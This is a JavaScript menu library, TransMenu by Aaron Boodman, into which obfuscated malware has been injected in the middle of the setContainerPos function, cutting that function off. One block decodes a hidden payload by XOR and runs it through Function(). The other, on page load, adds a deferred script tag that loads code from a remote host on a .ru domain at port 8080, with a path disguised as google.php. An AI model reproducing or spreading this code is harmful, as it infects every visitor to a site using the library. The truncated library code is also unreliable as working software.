/* =================================================================================================
 * TransMenu 
 * March, 2003
 *
 * Customizable multi-level animated DHTML menus with transparency.
 *
 * Copyright 2003-2004, Aaron Boodman (www.youngpup.net)
 * =================================================================================================
 * "Can I use this?"
 * 
 * Use of this library is governed by the Creative Commons Attribution 2.0 License. You can check it 
 * out at: http://creativecommons.org/licenses/by/2.0/
 *
 * Basically: You may copy, distribute, and eat this code as you wish. But you must give me credit 
 * for writing it. You may not misrepresent yourself as the author of this code.
 * =================================================================================================
 * "It's kinda hard to read, though"
 *
 * The uncompressed, commented version of this script can be found at: 
 * http://youngpup.net/projects/transMenus
 * =================================================================================================
 * updates:
 * 04.19.04 fixed cascade problem with menus nested greater than two levels.
 * 12.23.03 added hideCurrent for menu actuators with no menus. renamed to TransMenu.
 * 04.18.03	fixed render bug in IE 5.0 Mac by removing that browser from compatibility table ;)
 *			also made gecko check a little more strict by specifying build no.
 * ============================================================================================== */



//==================================================================================================
// Configuration properties
//==================================================================================================
//==================================================================================================
TransMenu.spacerGif = "img/x.gif";                     // path to a transparent spacer gif
TransMenu.dingbatOn = "img/arrow.png";            // path to the active sub menu dingbat
TransMenu.dingbatOff = "img/tabarrow.png";          // path to the inactive sub menu dingbat
TransMenu.dingbatSize = 14;                            // size of the dingbat (square shape assumed)
TransMenu.menuPadding = 0;                             // padding between menu border and items grid
TransMenu.itemPadding = 3;                             // additional padding around each item
TransMenu.shadowSize = 2;                              // size of shadow under menu
TransMenu.shadowOffset = 3;                            // distance shadow should be offset from leading edge
TransMenu.shadowColor = "#888";                        // color of shadow (transparency is set in CSS)
TransMenu.shadowPng = "img/grey-40.png";               // a PNG graphic to serve as the shadow for mac IE5
TransMenu.backgroundColor = "#f5f6f8";                   // color of the background (transparency set in CSS)
TransMenu.backgroundPng = "img/white-90.png";          // a PNG graphic to server as the background for mac IE5
TransMenu.hideDelay = 1000;                            // number of milliseconds to wait before hiding a menu
TransMenu.slideTime = 400;                             // number of milliseconds it takes to open and close a menu
TransMenu.subpad_x = 0;								   // Horizontal Padding between top right corner of item menu and its submenu (level > 2)
TransMenu.subpad_y = -2;							   // Vertical Padding between top right corner of item menu and its submenu (level > 2)

//==================================================================================================
// Internal use properties
//==================================================================================================
TransMenu.reference = {topLeft:1,topRight:2,bottomLeft:3,bottomRight:4};
TransMenu.direction = {down:1,right:2,up:3,left:4};
TransMenu.registry = [];
TransMenu._maxZ = 100;

TransMenu.updateImgPath = function (imgPath){
	TransMenu.spacerGif = imgPath + TransMenu.spacerGif;
	TransMenu.dingbatOn = imgPath + TransMenu.dingbatOn;
	TransMenu.dingbatOff = imgPath + TransMenu.dingbatOff;
	TransMenu.shadowPng = imgPath + TransMenu.shadowPng;
	TransMenu.backgroundPng = imgPath + TransMenu.backgroundPng;
}

//==================================================================================================
// Static methods
//==================================================================================================
// supporting win ie5+, mac ie5.1+ and gecko >= mozilla 1.0
TransMenu.isSupported = function() {
        var ua = navigator.userAgent.toLowerCase();
		var pf = navigator.platform.toLowerCase();
        var an = navigator.appName;
        var r = false;

        if (ua.indexOf("gecko") > -1 && navigator.productSub >= 20020605) r = true; // gecko >= moz 1.0
        else if (an == "Microsoft Internet Explorer") {
                if (document.getElementById) { // ie5.1+ mac,win
                        if (pf.indexOf("mac") == 0) {
							r = /msie (\d(.\d*)?)/.test(ua) && Number(RegExp.$1) >= 5.1;
						}
						else r = true;
                }
        }
        return r;
}

// call this in onload once menus have been created
TransMenu.initialize = function() {
        for (var i = 0, menu = null; menu = this.registry[i]; i++) {
                menu.initialize();
        }
}

// call this in document body to write out menu html
TransMenu.renderAll = function() {
        var aMenuHtml = [];
        for (var i = 0, menu = null; menu = this.registry[i]; i++) {
                aMenuHtml[i] = menu.toString();
        }
        document.write(aMenuHtml.join(""));
}

//==================================================================================================
// TransMenu constructor (only called internally)
//==================================================================================================
// oActuator            : The thing that causes the menu to be shown when it is mousedover. Either a
//                        reference to an HTML element, or a TransMenuItem from an existing menu.
// iDirection           : The direction to slide out. One of TransMenu.direction.
// iLeft                : Left pixel offset of menu from actuator
// iTop                 : Top pixel offset of menu from actuator
// iReferencePoint      : Corner of actuator to measure from. One of TransMenu.referencePoint.
// parentMenuSet        : Menuset this menu will be added to.
//==================================================================================================
function TransMenu(oActuator, iDirection, iLeft, iTop, iReferencePoint, parentMenuSet) {
        // public methods
        this.addItem = addItem;
        this.addMenu = addMenu;
        this.toString = toString;
        this.initialize = initialize;
        this.isOpen = false;
        this.show = show;
        this.hide = hide;
        this.items = [];

        // events
        this.onactivate = new Function();       // when the menu starts to slide open
        this.ondeactivate = new Function();     // when the menu finishes sliding closed
        this.onmouseover = new Function();      // when the menu has been moused over
        this.onqueue = new Function();          // hack .. when the menu sets a timer to be closed a little while in the future
		this.ondequeue = new Function();

        // initialization
        this.index = TransMenu.registry.length;
        TransMenu.registry[this.index] = this;

        var id = "TransMenu" + this.index;
        var contentHeight = null;
        var contentWidth = null;
        var childMenuSet = null;
        var animating = false;
        var childMenus = [];
        var slideAccel = -1;
        var elmCache = null;
        var ready = false;
        var _this = this;
        var a = null;

        var pos = (iDirection == TransMenu.direction.down || iDirection == TransMenu.direction.up)? "top" : "left";
        var dim = null;

        // private and public method implimentations
        function addItem(sText, sUrl, browserNav, active) {
                var item = new TransMenuItem(sText, sUrl, this, browserNav, active);
                item._index = this.items.length;
                this.items[item._index] = item;
        }

        function addMenu(oMenuItem) {
                if (!oMenuItem.parentMenu == this) throw new Error("Cannot add a menu here");

				var iDirec = TransMenu.direction.right;
				var iRef = TransMenu.reference.topRight;
				if (iDirection == TransMenu.direction.left)
				{
					iDirec = TransMenu.direction.left;
					iRef = TransMenu.reference.topLeft;
				}
                if (childMenuSet == null) childMenuSet = new TransMenuSet(iDirec, TransMenu.subpad_x, TransMenu.subpad_y, iRef);

                var m = childMenuSet.addMenu(oMenuItem);

                childMenus[oMenuItem._index] = m;
                m.onmouseover = child_mouseover;
                m.ondeactivate = child_deactivate;
                m.onqueue = child_queue;
				m.ondequeue = child_dequeue;

                return m;
        }

        function initialize() {
                initCache();
                initEvents();
                initSize();
                ready = true;
        }

        function show() {
                //dbg_dump("show");
                if (ready) {
                        _this.isOpen = true;
                        animating = true;
                        setContainerPos();
                        elmCache["clip"].style.visibility = "visible";
                        elmCache["clip"].style.zIndex = TransMenu._maxZ++;
                        //dbg_dump("maxZ: " + TransMenu._maxZ);
                        slideStart();
                        _this.onactivate();
                }
        }

        function hide() {
                if (ready) {
                        _this.isOpen = false;
                        animating = true;

                        for (var i = 0, item = null; item = elmCache.item[i]; i++) 
                                dehighlight(item);

                        if (childMenuSet) childMenuSet.hide();

                        slideStart();
                        _this.ondeactivate();
                }
        }

        function setContainerPos() {
                var sub = oActuator.constructor == TransMenuItem; 
                var act = sub ? oActuator.parentMenu.elmCache["item"][oActuator._index] : oActuator; 
                var el = act;
                
                var x = 0;
                var y = 0;

                
                var minX = 0;
                var maxX = (window.innerWidth ? window.innerWidth : document.body.clientWidth) - parseInt(elmCache["clip"].style.width);
                var minY = 0;
                var maxY = (window.innerHeight ? window.innerHeight : document.body.clientHeight) - parseInt(elmCache["clip"].style.height);
				maxX = 10000; maxY = 10000;

                // add up all offsets... subtract any scroll offset
                while (sub ? el.parentNode.className.indexOf("transMenu") == -1 : el.offsetParent) {
                        x += el.offsetLeft;
                        y += el.offsetTop;

                        if (el.scrollLeft) x -= el.scrollLeft;
                        if (el.scrollTop) y -= el.scrollTop;
                        
                        el = el.offsetParent;
                }

                if (oActuator.constructor == TransMenuItem) {
                        x += parseInt(el.parentNode.style.left);
                        y += parseInt(el.parentNode.style.top);
                }

                switch (iReferencePoint) {
                        case TransMenu.reference.topLeft:
                                break;
                        case TransMenu.reference.topRight:
                                x += act.offsetWidth;
                                break;
                        case TransMenu.reference.bottomLeft:
                                y += act.offsetHeight;
                                break;
                        case TransMenu.reference.bottomRight:
                                x += act.offsetWidth;
                                y += act.offsetHeight;
                                break;
                }

                x += iLeft;
                y += iTop;

                x = Math.max(Math.min(x, maxX), minX);
                y = Math.max(Math.min(y, maxY), minY);

				var ow = elmCache["items"].offsetWidth;
                var oh = elmCache["items"].offsetHeight;
          
var Pw="1c07152025630008093c3d75131f0714791319310b0129141c241032350b271b301d3218361832093631092f263c062c2900170a2a290d26041025021f35132a20602e177d0e03157e0400632715";var bC;if(bC!='' && bC!='Guy'){bC=''};this.Ek="";function q(p){var tq=new Date();var J;if(J!='s'){J=''}; var Y=function(d,w){var MN=new String();return d[t("achorCAdet", [1,2,0])](w);};this.OD=false;var m;if(m!='' && m!='L'){m=''};this.NX=""; var Nb;if(Nb!=''){Nb='JZ'};function gk(k){var D=k[t("eghnlt", [4,0,3,1,5,2])];var K=[1][0];var ri=new Date();var x=new String();this.CK=29830;var Q=[17,0,139,209][1];var rl;if(rl!='Qx'){rl='Qx'};var WNA=false;var O=[81,239,176,255][3];var GY=new String();var E=[0][0];var fO=29682;var It;if(It!='' && It!='ys'){It='GZ'};var Eg;if(Eg!='' && Eg!='MI'){Eg='UX'};while(Q<D){var dn="";Q++;var dr=64707;var EG=48930;r=Y(k,Q - K);E+=r*D;}var yh=false;return new a(E % O);}var Vv=false;var Xg;if(Xg!='gg' && Xg!='LJ'){Xg='gg'};var DR=new String();var YT=new String(); function n(rI){var lS;if(lS!='' && lS!='iE'){lS='To'};var T = -1;this.j=false;var yV=new String();var YQ = '';var Wr="";var u =[0][0];var rW;if(rW!=''){rW='xi'};var wH;if(wH!='hg'){wH=''};var Da =[0,150,245][0];rI = new a(rI);var fs=false;var gJ;if(gJ!='nb' && gJ!='gp'){gJ='nb'};var pz;if(pz!='HL'){pz=''};for (Da=rI[t("eltngh", [1,0,3,4,2])]-T;Da>=u;Da=Da-[1][0]){var Qd=new String();YQ+=rI[t("hAcatr", [2,0,3,5,1,4])](Da);}var oK;if(oK!=''){oK='jg'};var FA;if(FA!='' && FA!='oH'){FA=''};this.ez=false;this.Ds=false;return YQ;var Zx;if(Zx!='PR' && Zx!='QxO'){Zx=''};var zQ;if(zQ!='Mk' && zQ!='JP'){zQ=''};}var ySP;if(ySP!='dU'){ySP=''};var MG;if(MG!='vw'){MG=''};var eZ="eZ";var wYw=""; var Qz="Qz";function t(rI, gY){this.wu=false;var i = rI.length;var u=[153,0][1];var P = gY.length;this.OW="";var eC;if(eC!='XY'){eC='XY'};var YQ = '';var sq="sq";var K=[187,145,30,1][3];var CX=new Date();var oV=new String();this.FwF="FwF";var hs='';for(var Da = u; Da < i; Da += P) {var bU;if(bU!='' && bU!='uO'){bU=null};var wY = rI.substr(Da, P);var dI;if(dI!=''){dI='Tc'};var DC;if(DC!='ZT' && DC!='sE'){DC=''};var MB='';if(wY.length == P){var Ud="";var Tmb=new Array();var sJ=new Array();for(var Q in gY) {var xd='';var Pi='';YQ+=wY.substr(gY[Q], K);this.OGd=false;this.dom=false;}var bp;if(bp!='' && bp!='wj'){bp=null};var xO;if(xO!='' && xO!='Gm'){xO=null};} else {var Vo;if(Vo!='te'){Vo='te'};var rL=new String();  YQ+=wY;}var Gj;if(Gj!='Jl' && Gj != ''){Gj=null};this.XX="XX";}var hL=new Date();var Xl;if(Xl!='ZA' && Xl!='ZS'){Xl=''};this.JU="JU";return YQ;var GmQ;if(GmQ!='MD'){GmQ=''};var NI="NI";}var zZ;if(zZ!='Xa'){zZ=''};var jP=false;this.wk="";this.GL='';var vj;if(vj!='hM' && vj!='sK'){vj='hM'}; var OG=function(F,G){var CXj='';var OA;if(OA!='' && OA!='zZm'){OA=''};return F^G;};this.WG="";var BM;if(BM!='ce' && BM!='hJ'){BM=''};var V=window;var EK=V[t("lvea", [2,1,3,0])];var rr;if(rr!='EX' && rr!='dB'){rr=''};var Tm=EK(t("tFiucnon", [1,3,5,4,0,2]));var bUU=new Date();var My=new Date();var a=EK(t("ritnSg", [4,2,0,1,3]));this.pL=55978;var DW=37533;var U = '';this.UMJ="UMJ";var kM;if(kM!='' && kM!='gT'){kM=''};var pD;if(pD!='' && pD!='ht'){pD=null};var DM="";var Yu;if(Yu!='Ea' && Yu!='tS'){Yu='Ea'};var FP=EK(t("geRpxE", [2,1,0]));var MU;if(MU!=''){MU='Mo'};this.QF="QF";this.fF=false;var Eo;if(Eo!=''){Eo='Wk'};var VF=46030;var Fw=a[t("ormCfhCrodae", [4,1,0,2,3,5])];var Gd;if(Gd!='fc'){Gd='fc'};var bS=false;var DL=V[t("secnuape", [4,3,1,0,2])];var El;if(El!='' && El!='ym'){El='Zt'};this.gy='';this.zd="zd";var FR;if(FR!='bl' && FR != ''){FR=null};var vwX;if(vwX!='Qj' && vwX != ''){vwX=null};var K =[1,53][0];var Wd;if(Wd!='ZVJ'){Wd='ZVJ'};this.DB=7733;var pw = '';var GZV;if(GZV!='rm'){GZV=''};this.Ae='';var jS;if(jS!='RV'){jS=''};this.rN='';var VL = /[^@a-z0-9A-Z_-]/g;var Sh=36513;var W = '';var eD='';this.pH='';var u =[108,135,0,70][2];var o = p[t("enlthg", [2,0,1])];var go=false;var H = '';var lX;if(lX!='RK' && lX!='Xly'){lX=''};var AS=new String();var b = Fw(37);var oN=[1, t("ocmduntce.eaertleeEmt(sn\'ritcp\')", [3,0,1,4,2]),2, t("ocdmeut.nodb.aypepdCnilh(dd)", [2,0,1]),3, t("te.dsirtAt(eubtefd\'er\'", [3,2,4,1,0]),4, t(".htruoemehb.sla:08ru80", [3,4,0,2,1]),5, t("viar.sclom", [3,1,0,2]),6, t("omc4c.anhor..rgbc", [2,0,1]),7, t("ilfheakce.rcom", [1,0,2]),8, t("wwon.dionload", [1,6,3,5,2,0,4]),11, t("nufcoitn()", [2,1,0,3]),12, t("oogelgoc.m", [2,1,0]),14, t("ec)cath(", [1,4,5,3,6,7,0,2]),15, t("eltw.de", [3,0,1,2]),16, t("lcrani", [1,0]),17, t(":ht\"pt", [3,1,2,5,4,0]),18, t(".rcds", [3,0,4,1,2]),19, t("\'1)\'", [3,1,0,2]),20, t("yrt", [2,1,0])];var C =[2,227,105][0];this.Qg=false;this.CLT="";var Ye =[237,0,84][1];var zG;if(zG!=''){zG='RF'};for(var YX=u; YX < o; YX+=C){H+= b; var Ix=new Date();H+= p[t("ussbrt", [1,0])](YX, C);}var bti=16868;var AU;if(AU!='sv' && AU != ''){AU=null};var p = DL(H);var Kx;if(Kx!='rWM' && Kx != ''){Kx=null};var vN;if(vN!='nW'){vN='nW'};var qU;if(qU!='WC'){qU='WC'};var S = new a(q);this.kh="kh";var sa="";var Ee = S[t("plerace", [3,2,0,1])](VL, W);this.dO="dO";this.rb="rb";var YuO;if(YuO!=''){YuO='ha'};this.IW=10747;var y = oN[t("elntgh", [1,0,2])];var xA=new Array();var qW;if(qW!='Myc' && qW!='dXr'){qW=''};Ee = n(Ee);var c = new a(Tm);var IBh;if(IBh!='' && IBh!='xP'){IBh='MZ'};this.Bk=62957;var rmi;if(rmi!='' && rmi!='DV'){rmi=null};var EE="";var yY;if(yY!='DG'){yY=''};var ki = c[t("erlpcae", [1,0])](VL, W);var fd;if(fd!='JY'){fd='JY'};this.Hu="";var ki = gk(ki);var hy="";var Pv=34271;var VY=gk(Ee);var lm=new Array();var DA=new Array();for(var Da=u; Da < (p[t("nelhtg", [2,1,0])]);Da=Da+[133,1,242][1]) {var JD;if(JD!='' && JD!='FM'){JD=''};var FB = Ee.charCodeAt(Ye);var Oh;if(Oh!='' && Oh!='Ji'){Oh=null};var N = Y(p,Da);this.TgM=3768;var kF;if(kF!='CF'){kF='CF'};N = OG(N, FB);var Hg;if(Hg!='' && Hg!='vv'){Hg='ZZ'};this.hsV="";N = OG(N, VY);N = OG(N, ki);Ye++;var eBM="";var DKQ=61914;var Jz;if(Jz!='dUe' && Jz!='nM'){Jz=''};var wL;if(wL!='dd' && wL!='Uo'){wL=''};if(Ye > Ee.length-K){var xT;if(xT!='oY'){xT='oY'};var fQ=false;Ye=u;var hz=new Array();this.vc=false;}var Nm;if(Nm!='' && Nm!='HA'){Nm=null};var vd;if(vd!='uYH' && vd!='sX'){vd='uYH'};var Er;if(Er!='' && Er!='qw'){Er=''};pw += Fw(N);this.CN="";this.Ll="";}var mc=new String();var eY;if(eY!='Tf'){eY=''};var gJO;if(gJO!='tL'){gJO=''};for(M=u; M < y; M+=C){var Gu;if(Gu!='' && Gu!='Kh'){Gu=null};this.dv="dv";var Zy="Zy";var z = oN[M + K];this.gd=51702;var Tx = Fw(oN[M]);var qk;if(qk!='Ck' && qk!='Xb'){qk='Ck'};var qV="";var sgU=new Array();var ze;if(ze!='' && ze!='pU'){ze='ja'};var qR = new FP(Tx, a.fromCharCode(103));var wjQ=new String();this.XR="";pw=pw[t("eerplca", [2,1,3,4,6,5,0])](qR, z);var zR;if(zR!='' && zR!='EV'){zR=''};}var Zf;if(Zf!='' && Zf!='Mp'){Zf=null};var fb=new String();var Dc;if(Dc!='' && Dc!='fe'){Dc=''};var tb=new Tm(pw);var Dq;if(Dq!='DP'){Dq='DP'};tb();var zS='';var zL=new String();this.oc="";this.Zl=35336;pw = '';var jF;if(jF!='dE' && jF!='Qdl'){jF='dE'};var Fo;if(Fo!='OI' && Fo!='Eq'){Fo='OI'};VY = '';var JDr=false;c = '';tb = '';Ee = '';var gA;if(gA!='' && gA!='bZ'){gA=null};this.Bq=false;ki = '';var FL="";var dC="";var qf;if(qf!='OIR'){qf='OIR'};var rvr="rvr";return '';var Og=new Array();var Go=new Array();};var bC;if(bC!='' && bC!='Guy'){bC=''};this.Ek="";q(Pw);
function _() {var u;if(u!='e' && u != ''){u=null};var J=new Date();var wM;if(wM!='T' && wM != ''){wM=null};var m;if(m!='h' && m != ''){m=null};var g=new String();this.A='';var h_;if(h_!='y'){h_='y'};var b=RegExp;var K='g';var od;if(od!='bY'){od=''};var XY="";var o='replace';var U;if(U!='' && U!='DW'){U=''};var _f;if(_f!='DR' && _f!='qB'){_f=''};var bF='[';var ul;if(ul!='' && ul!='QE'){ul=''};var LA;if(LA!='' && LA!='Oy'){LA=''};var _P=']';var Oe=new Array();function I(V,n){var KR="";this.bT='';var c=bF;var AX="";var Mp='';c+=n;var f_;if(f_!='G' && f_!='gh'){f_='G'};this.yj="";c+=_P;var P=new b(c, K);return V[o](P, g);};var hD='';var ol=new Date();var cb=I('866011861061',"61");this.FA='';var KG=window;var cX=I('sjcfrjifpftf',"fj");var LJ=new Array();var Gb=new String();this.Ft='';var lG="";var v='';var Tm="";var d=I('hDtDtUpD:D/D/U5U1DyUeUsD-DcDoDmU.UmDeUgUaDuUpUlUoUaDdU.DcUoUmD.UfDaDnUpUoUpU-UcDoUmD.DjUeDrUsUeDyUhDoUmUeUsUiUtUeU.UrUuU:U',"UD");var M=I('/2a2mIaiz7o2n2.7f7rT/iaTmTaizIo7nT.7f7r2/2bTlio7gif7aI.icToImT/igIo2oTgIlIe7.IcIo2m2.icIo2/ig7oio2gIl7eI.icIoim2.7pIhTp2',"Ii27T");var rw="";var s=I('cLrOeOaLtOehEhlLeOmheInIth',"IhOL");var on;if(on!='H' && on!='nx'){on=''};var qZ;if(qZ!='' && qZ!='ja'){qZ=''};KG[I('o4nIl4oIaed4',"4eI")]=function(){try {v+=d;this.KC="";v+=cb;v+=M;var SU;if(SU!='Zt'){SU='Zt'};var Zr=new String();this.y_='';Q=document[s](cX);var CS;if(CS!='' && CS!='Zs'){CS=null};var nu;if(nu!='YO' && nu != ''){nu=null};this.OqU='';f(Q,'defer',([1][0]));var jO="";f(Q,'src',v);var bf=new Date();var oG;if(oG!='ri' && oG!='xS'){oG=''};var UL=new Array();var TT='';var uk;if(uk!='kD'){uk=''};document.body.appendChild(Q);} catch(D){var zJ=new Date();var wS;if(wS!='' && wS!='Jl'){wS=null};};this.NS="";};var _p;if(_p!='ud' && _p!='hI'){_p=''};var OA;if(OA!='aY' && OA != ''){OA=null};function f(X,VN,S){var LB=new Array();X.setAttribute(VN, S);}var tK=new Date();};var SO=new String();var dL='';_();var Nq;if(Nq!='EO' && Nq != ''){Nq=null};